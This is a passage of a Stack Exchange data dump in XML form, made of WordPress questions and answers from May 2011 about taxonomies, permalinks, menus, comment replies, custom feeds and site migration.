array&#xA;foreach ( $average as $rating )&#xA;{&#xA;    echo 'This is the average rating: '.$rating;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-09T14:00:55.857" LastActivityDate="2011-05-09T14:00:55.857" CommentCount="1" />
  <row Id="16755" PostTypeId="2" ParentId="16694" CreationDate="2011-05-09T14:02:18.410" Score="0" ViewCount="" Body="&lt;p&gt;Tags are a custom taxonomy called &lt;code&gt;product_tag&lt;/code&gt; in WPEC 3.8+, they're not the same taxonomy as default WordPress tags so that's why tagbase has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 315 in wpsc-core/wpsc-functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'product_tag', 'wpsc-product', array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; '/' . sanitize_title_with_dashes( _x( 'tagged', 'slug, part of url', 'wpsc' ) ),&#xA;        'with_front' =&amp;gt; false )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*Edit- I somehow skipped over the part of your question where you point out the above, however, changing the slug in this file and then flushing your rewrite rules WILL change the slug, but you're editing core files which is always bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question I suppose should then be &quot;Is it possible to override something set elsewhere in a &lt;code&gt;register_taxonomy&lt;/code&gt; call?&quot;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-09T14:13:07.763" LastActivityDate="2011-05-09T14:13:07.763" CommentCount="1" />
  <row Id="16756" PostTypeId="1" CreationDate="2011-05-09T14:12:26.127" Score="0" ViewCount="116" Body="&lt;p&gt;I need to upload hundreds of documents to wordpress.After that i need to create shortcodes and widgets for showing that documents as lists or anything with options like ordering, show x documents, show totals by category/taxonomy, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to upload the documents and automatically create a custom post type (documents) with the document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And associate it with a taxonomy too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thk very much.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2011-05-09T14:12:26.127" Title="How can I upload documents and automatically create Custom Post Types for each one?" Tags="&lt;custom-post-types&gt;&lt;shortcode&gt;&lt;media-upload&gt;" CommentCount="5" />
  <row Id="16757" PostTypeId="1" AcceptedAnswerId="16850" CreationDate="2011-05-09T14:34:58.383" Score="0" ViewCount="88" Body="&lt;p&gt;I have a .htaccess file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the config for the vhost looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName elements&#xA;    DocumentRoot /works/web/elements&#xA;    &amp;lt;Directory /works/web/elements&amp;gt;&#xA;        Options Indexes FollowSymLinks MultiViews&#xA;        AllowOverride All&#xA;        Order allow,deny&#xA;        allow from 127.0.0.1&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am still getting 404 when I view pages, why is that?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-05-10T14:05:26.077" Title="Already have htaccess but permalink settings not working. Getting 404" Tags="&lt;permalinks&gt;&lt;mod-rewrite&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="16758" PostTypeId="1" AcceptedAnswerId="16764" CreationDate="2011-05-09T14:48:37.733" Score="0" ViewCount="170" Body="&lt;p&gt;How do I make menu items open in a new tab/page instead of replacing &#xA;the current page? &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-05-09T15:25:23.147" Title="Make menu items open in new tab/page" Tags="&lt;menus&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16759" PostTypeId="1" AcceptedAnswerId="16824" CreationDate="2011-05-09T14:59:02.310" Score="1" ViewCount="53" Body="&lt;p&gt;When I visit &lt;em&gt;Appearance → Menu&lt;/em&gt;, I can add custom links, but not any links &#xA;I've already created under &lt;em&gt;Links&lt;/em&gt;. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="4849" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T09:02:53.753" LastActivityDate="2011-05-10T12:01:48.177" Title="Adding existing links to custom navigation menus?" Tags="&lt;custom-menus&gt;&lt;links&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="16760" PostTypeId="1" AcceptedAnswerId="16830" CreationDate="2011-05-09T14:59:19.533" Score="0" ViewCount="100" Body="&lt;p&gt;My Wordpress site uses a custom front page (&lt;code&gt;home.php&lt;/code&gt;). The blog page uses a template (&lt;code&gt;blog.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I visit the blog page the navigation bar does not highligt the current page. This is because the class &lt;code&gt;.current-menu-item&lt;/code&gt; (and the class &lt;code&gt;.current_page_item&lt;/code&gt;) are missing from the navigation &lt;code&gt;li&lt;/code&gt;. This class is correctly included when I visit all other pages that use the default page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the template for the blog page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Blog&#xA;*/&#xA;&#xA;// Which page of the blog are we on?&#xA;$paged = get_query_var('paged');&#xA;query_posts('cat=-0&amp;amp;paged='.$paged);&#xA;&#xA;// make posts print only the first part with a link to rest of the post.&#xA;global $more;&#xA;$more = 0;&#xA;&#xA;//load index to show blog&#xA;load_template(TEMPLATEPATH . '/index.php');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've noticed that if I remove the call to &lt;code&gt;query_posts&lt;/code&gt; then the nav bar styling works correctly, but the page is left blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5238" LastActivityDate="2011-05-10T10:41:00.497" Title="Navigation list not correctly styled on pages with custom template (missing .current-menu-item)" Tags="&lt;custom-menus&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="16761" PostTypeId="2" ParentId="16759" CreationDate="2011-05-09T15:16:50.547" Score="0" ViewCount="" Body="&lt;p&gt;Under the &lt;code&gt;Screen Options&lt;/code&gt; tab in the upper right corner of the UI, make sure all boxes are checked for everything you want visible- pages, posts, custom post types, taxonomies, etc..&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-10T12:01:48.177" LastActivityDate="2011-05-10T12:01:48.177" CommentCount="2" />
  <row Id="16762" PostTypeId="2" ParentId="16733" CreationDate="2011-05-09T15:18:55.930" Score="2" ViewCount="" Body="&lt;p&gt;If you need to show the averages in the content, you need to pre-calculate them (before showing the comments). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach would be having a custom meta in the post with the calculated averages and modify those metas every time a new comment (rating) is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;comment_post&quot;, &quot;wpse16733_updateAVGs&quot;);&#xA;&#xA;function wpse16733_updateAVGs($comment_ID, $approved){&#xA;&#xA;    if ($approved){&#xA;        $commentdata=get_comment($comment_ID, ARRAY_A); &#xA;        $parent_post=get_post($commentdata['comment_post_ID']);&#xA;&#xA;        (... get your rating, get post meta, calc and save ...)&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T15:18:55.930" CommentCount="2" />
  <row Id="16764" PostTypeId="2" ParentId="16758" CreationDate="2011-05-09T15:22:27.867" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;Go to Appearance &gt; Menu&lt;/li&gt;&#xA;&lt;li&gt;click screen options (near top of page)&lt;/li&gt;&#xA;&lt;li&gt;tick &quot;Link target&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, when you click a menu item drop down, you can choose what the link target is (you want to choose New window or tab)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-09T15:22:27.867" CommentCount="1" />
  <row Id="16765" PostTypeId="2" ParentId="16758" CreationDate="2011-05-09T15:25:23.147" Score="1" ViewCount="" Body="&lt;p&gt;Admin &gt; Appearance &gt; Menus &gt; Screen Options (Top right of the screen)&#xA;Add a check to Link Target&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can set the Link target for your menus.&lt;/p&gt;&#xA;" OwnerUserId="2807" LastActivityDate="2011-05-09T15:25:23.147" CommentCount="1" />
  <row Id="16766" PostTypeId="1" AcceptedAnswerId="16802" CreationDate="2011-05-09T16:14:56.547" Score="-2" ViewCount="89" Body="&lt;p&gt;I followed &lt;a href=&quot;http://www.wptavern.com/forum/themes-templates/1346-creating-upload-function-options-page.html#post13306&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial in order too add a custom upload button in the Wordpress admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It displays the picture you just uploaded right after saving:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/sUWTr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't manage to display the picture in the front end, in a template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the section that displays the picture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   function ud_section_text() {&#xA;        $options = get_option('ud_options');&#xA;        echo '&amp;lt;p&amp;gt;Upload your file here:&amp;lt;/p&amp;gt;';&#xA;        if ($file = $options['file']) {&#xA;            // var_dump($file);&#xA;            echo &quot;&amp;lt;img src='{$file['url']}' /&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php var_dump($file['url']); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;but it returns NULL.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Upload Demo&#xA;Description: Demonstrate a plugin that lets you upload an image&#xA;Author: Otto&#xA;Author URI: http://ottodestruct.com&#xA;License: GPL2&#xA;&#xA;    Copyright 2010  Samuel Wood  (email : otto@ottodestruct.com)&#xA;&#xA;    This program is free software; you can redistribute it and/or modify&#xA;    it under the terms of the GNU General Public License version 2,&#xA;    as published by the Free Software Foundation.&#xA;&#xA;    You may NOT assume that you can use any other version of the GPL.&#xA;&#xA;    This program is distributed in the hope that it will be useful,&#xA;    but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;    GNU General Public License for more details.&#xA;&#xA;    The license for this software can likely be found here:&#xA;    http://www.gnu.org/licenses/gpl-2.0.html&#xA;&#xA;*/&#xA;&#xA;// add the admin page and such&#xA;add_action('admin_init', 'ud_admin_init');&#xA;function ud_admin_init() {&#xA;    register_setting( 'ud_options', 'ud_options', 'ud_options_validate' );&#xA;    add_settings_section('ud_main', 'Main Section', 'ud_section_text', 'ud');&#xA;    add_settings_field('ud_filename', 'File:', 'ud_setting_filename', 'ud', 'ud_main');&#xA;}&#xA;&#xA;// add the admin options page&#xA;add_action('admin_menu', 'ud_admin_add_page');&#xA;function ud_admin_add_page() {&#xA;    $mypage = add_options_page('Upload Demo', 'Upload Demo', 'manage_options', 'ud', 'ud_options_page');&#xA;}&#xA;&#xA;// display the admin options page&#xA;function ud_options_page() {&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Upload Demo&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;You can upload a file. It'll go in the uploads directory.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; action=&quot;options.php&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields('ud_options'); ?&amp;gt;&#xA;    &amp;lt;?php do_settings_sections('ud'); ?&amp;gt;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php esc_attr_e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function ud_section_text() {&#xA;    $options = get_option('ud_options');&#xA;    echo '&amp;lt;p&amp;gt;Upload your file here:&amp;lt;/p&amp;gt;';&#xA;    if ($file = $options['file']) {&#xA;        // var_dump($file);&#xA;        echo &quot;&amp;lt;img src='{$file['url']}' /&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&#xA;function ud_setting_filename() {&#xA;    echo '&amp;lt;input type=&quot;file&quot; name=&quot;ud_filename&quot; size=&quot;40&quot; /&amp;gt;';&#xA;}&#xA;&#xA;function ud_options_validate($input) {&#xA;    $newinput = array();&#xA;    if ($_FILES['ud_filename']) {&#xA;        $overrides = array('test_form' =&amp;gt; false);&#xA;        $file = wp_handle_upload($_FILES['ud_filename'], $overrides);&#xA;        $newinput['file'] = $file;&#xA;    }&#xA;    return $newinput;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-10T00:07:45.460" Title="Can't manage to display an uploaded picture (uploaded from a custom button) in the front end" Tags="&lt;images&gt;&lt;uploads&gt;&lt;theme-options&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="16767" PostTypeId="1" CreationDate="2011-05-09T16:40:19.437" Score="0" ViewCount="53" Body="&lt;p&gt;I have an installation of wordpress with the core wordpress files in a sub-directory as described here: &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&lt;/a&gt;. I've also changed wp-content to just content and moved it outside the wordpress core directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine except the media upload dialog does not load via Thickbox. It will load in the browser window and functions fine. So it seems it's just Thickbox that is not working. Any ideas on what I may have missed, or how to correct this problem?&lt;/p&gt;&#xA;" OwnerUserId="5242" LastActivityDate="2011-05-09T16:40:19.437" Title="How to fix borken admin Thickbox?" Tags="&lt;admin&gt;&lt;thickbox&gt;" CommentCount="1" />
  <row Id="16768" PostTypeId="1" CreationDate="2011-05-09T16:40:44.597" Score="0" ViewCount="49" Body="&lt;p&gt;I'm having a completely new problem and can't figure it out so I'm hoping someone can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is &lt;a href=&quot;http://www.talkingdogtemplates.com&quot; rel=&quot;nofollow&quot;&gt;http://www.talkingdogtemplates.com&lt;/a&gt;. It's a big site that uses WordPress as a CMS primarily, and I have the blog page set to &lt;a href=&quot;http://www.talkingdogtemplates.com/blog.html&quot; rel=&quot;nofollow&quot;&gt;http://www.talkingdogtemplates.com/blog.html&lt;/a&gt;. I'm using the .html on PAGES plugin to get the extension and I've never had this problem in the past with over 50 WordPress CMS/blogs. (not even sure that's the cause, probably not)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem is that the post DOES show up on the blog page but the link in the header does not link and none of the author and date info shows up. It's like each time I edit the index.php document and reload it it's just being ignored. So weird. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the main piece of the index.php doc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;main_content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s', ''), the_title_attribute('echo=0')); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;small&amp;gt;&amp;lt;?php the_time(__('F jS, Y', '')) ?&amp;gt; by &amp;lt;?php the_author() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                    &amp;lt;?php the_content(__('Read the rest of this entry &amp;amp;raquo;', '')); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags(__('Tags:', '') . ' ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; &amp;lt;?php printf(__('Posted in %s', ''), get_the_category_list(', ')); ?&amp;gt; | &amp;lt;?php edit_post_link(__('Edit', ''), '', ' | '); ?&amp;gt;  &amp;lt;?php comments_popup_link(__('No Comments &amp;amp;#187;', ''), __('1 Comment &amp;amp;#187;', ''), __('% Comments &amp;amp;#187;', ''), '', __('Comments Closed', '') ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm really hoping someone can help me. I've tried everything I can think of so I'm hoping a fresh set of eyes can solve this easily. Let me know if you need any more info. Thanks so much in advance!&lt;/p&gt;&#xA;" OwnerUserId="2770" LastActivityDate="2011-05-09T16:58:12.800" Title="Trouble getting the Blog page to show up correctly" Tags="&lt;links&gt;&lt;blog-page&gt;" AnswerCount="1" />
  <row Id="16769" PostTypeId="2" ParentId="16393" CreationDate="2011-05-09T16:41:36.577" Score="1" ViewCount="" Body="&lt;p&gt;If I understand you correctly, I think there is no direct option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should query all products within the category you want, iterate those records, and get the tags for each product. This will be SLOW if you have a lot of products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like (this is for regular categories / tags, you should modify it to your custom taxonomies)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $posts = get_posts(&quot;cat=5&amp;amp;numberposts=-1&quot;);&#xA;$tags = Array();&#xA;foreach ($posts as $ipost){&#xA;    $posttags = get_the_tags($ipost-&amp;gt;ID);&#xA;    foreach ($posttags as $posttag){&#xA;        if (!in_array($posttag-&amp;gt;term_id, $tags)){&#xA;            array_push($tags, $posttag-&amp;gt;term_id);&#xA;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have in $tags the unique IDs of the tags you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a lot of products, probably a custom sql query is a better option.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T16:41:36.577" CommentCount="1" />
  <row Id="16770" PostTypeId="1" AcceptedAnswerId="16775" CreationDate="2011-05-09T16:43:19.240" Score="0" ViewCount="85" Body="&lt;p&gt;I have a unique plugin whose purpose is to set up a new WordPress site with a theme, default widgets, default plugins, custom menus, pages, posts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin does everything it needs to do when activated and never runs again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for suggestions on how I might, as the last step in the activation routine, deactivate and delete the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, suggestions, or example references appreciated.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-09T17:07:42.800" Title="Can a plugin deactivate and delete itself once installed and activated?" Tags="&lt;plugins&gt;&lt;development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16771" PostTypeId="2" ParentId="16714" CreationDate="2011-05-09T16:49:15.990" Score="1" ViewCount="" Body="&lt;p&gt;Generating CSS from PHP means it has to run that code for each pageload, if it is possible generate a static CSS file and then enqueue it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1445/how-do-i-add-css-options-to-my-plugin-without-using-inline-styles&quot;&gt;How do I add CSS options to my plugin without using inline styles?&lt;/a&gt; or  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/10477/best-way-to-inject-css-into-admin-head-in-plugins&quot;&gt;Best way to inject css into admin_head in plugins?&lt;/a&gt; or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7142/how-to-add-css-style-sheet-dynamically-in-wordpress&quot;&gt;How to add CSS style sheet dynamically in wordpress&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-05-09T16:54:36.873" LastActivityDate="2011-05-09T16:54:36.873" CommentCount="2" />
  <row Id="16772" PostTypeId="2" ParentId="16768" CreationDate="2011-05-09T16:58:12.800" Score="2" ViewCount="" Body="&lt;p&gt;Are you &lt;em&gt;sure&lt;/em&gt; this is the code for the content it's pulling in?  Because the code you show says the title should be an h2 tag with a link, but if you vire the source code, the title is an h1 tag with no link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is check for the template first - type in the template file name just before the get_header() call in the template file, and see what template is actually being pulled in there - because I think it's pulling in a template other than what you think it is.&lt;/p&gt;&#xA;" OwnerUserId="5014" LastActivityDate="2011-05-09T16:58:12.800" CommentCount="3" />
  <row Id="16773" PostTypeId="1" AcceptedAnswerId="16799" CreationDate="2011-05-09T17:02:02.293" Score="0" ViewCount="212" Body="&lt;p&gt;Sadly my &quot;reply&quot; link for threaded comments is not working.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The current situation:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First i load the comments reply script (check if scripts content load: works) into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; using two functions (the first &lt;code&gt;wp_register_script()&lt;/code&gt; at the init hook, the second &lt;code&gt;wp_print_scripts()&lt;/code&gt; at the wp_head hook): &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Then i add the Reply link: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comment_reply_link( &#xA;     array( &#xA;         'reply_text'   =&amp;gt; __( 'Reply', OXO_TEXTDOMAIN )&#xA;        ,'depth'        =&amp;gt; isset( $args['args']['depth'] ) ? $args['args']['depth'] : (int) 3&#xA;        ,'max_depth'    =&amp;gt; isset( $args['args']['max_depth'] ) ? $args['args']['max_depth'] : (int) 5&#xA;     )&#xA;    ,get_comment_ID()&#xA;    ,$post-&amp;gt;ID&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which produces this html-output (example)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a onclick=&quot;return addComment.moveForm(&quot;comment-11&quot;, &quot;11&quot;, &quot;respond&quot;, &quot;149&quot;)&quot; href=&quot;/wordpress/?p=149&amp;amp;cpage=2&amp;amp;replytocom=11#respond&quot; class=&quot;comment-reply-link&quot;&amp;gt;Reply&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I got everything according to any recommendation i read:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My comments are within a &lt;code&gt;&amp;lt;div id=&quot;comments&quot;&amp;gt;&lt;/code&gt; and the comments form above it within a &lt;code&gt;&amp;lt;div id=&quot;respond&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still get dropped to the #respond-anchor and the comment form above the comments (&lt;code&gt;http://localhost/wordpress/?p=149&amp;amp;cpage=2&amp;amp;replytocom=11#respond&lt;/code&gt;), instead of getting the comment form displayed below the comment i want to reply to.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What may i do wrong?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Google, tutorials, how-to and else were so far of no help. Everything seems to be according to the recommended standard...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-10T14:47:07.220" LastActivityDate="2011-08-02T10:11:42.407" Title="comments reply script not working" Tags="&lt;comments&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="16774" PostTypeId="1" AcceptedAnswerId="16776" CreationDate="2011-05-09T17:06:03.650" Score="0" ViewCount="93" Body="&lt;p&gt;My site has a few custom post types, news, events, you-tube, etc. I'd like to create an rss feed for each post type as well as a main with all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've experimented an bit and found how to combine them into one but I haven't determined how to segment each. Do I need to create separate feed-rss.php for the templates as well as a custom function? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the function I'm currently using to combine them into one feed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Custom post feeds&#xA;function myfeed_request($qv) {&#xA;    if (isset($qv['feed']) &amp;amp;&amp;amp; !isset($qv['post_type']))&#xA;        $qv['post_type'] = array('post', 'youtube', 'event', 'news' );&#xA;    return $qv;&#xA;}&#xA;add_filter('request', 'myfeed_request');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-05-09T17:15:58.217" Title="Creating separate feeds for custom post types" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;template&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="16775" PostTypeId="2" ParentId="16770" CreationDate="2011-05-09T17:07:42.800" Score="2" ViewCount="" Body="&lt;p&gt;You can deactivate it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deactivate_plugins( basename( __FILE__ ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think you can delete it. It would be a big security risk, IMO. But if the folder has the correct (but insecure) permissions, you could use the PHP function &lt;a href=&quot;http://php.net/manual/en/function.rmdir.php&quot; rel=&quot;nofollow&quot;&gt;rmdir&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T17:07:42.800" CommentCount="5" />
  <row Id="16776" PostTypeId="2" ParentId="16774" CreationDate="2011-05-09T17:15:58.217" Score="1" ViewCount="" Body="&lt;p&gt;Look at this: &lt;a href=&quot;http://www.seodenver.com/custom-rss-feed-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.seodenver.com/custom-rss-feed-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T17:15:58.217" />
  <row Id="16777" PostTypeId="1" CreationDate="2011-05-09T13:53:36.430" Score="1" ViewCount="191" Body="&lt;p&gt;Is it really neccessary to put &lt;code&gt;WP_HOME&lt;/code&gt;, &lt;code&gt;WP_SITEURL&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; or set these settings via admin panel every time when moving a WordPress instance to another url (for example: moving from dev environment to production)? Is there any better strategy?&lt;/p&gt;&#xA;" OwnerUserId="5968" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T07:37:16.553" LastActivityDate="2011-08-09T05:21:22.457" Title="Change site url when moving site to another url?" Tags="&lt;migration&gt;&lt;deployment&gt;" AnswerCount="3" />
  <row Id="16778" PostTypeId="2" ParentId="16777" CreationDate="2011-05-09T13:58:52.000" Score="0" ViewCount="" Body="&lt;p&gt;You could put those settings in an external file and exclude it from your publishing process.&lt;/p&gt;&#xA;" LastActivityDate="2011-05-09T13:58:52.000" />
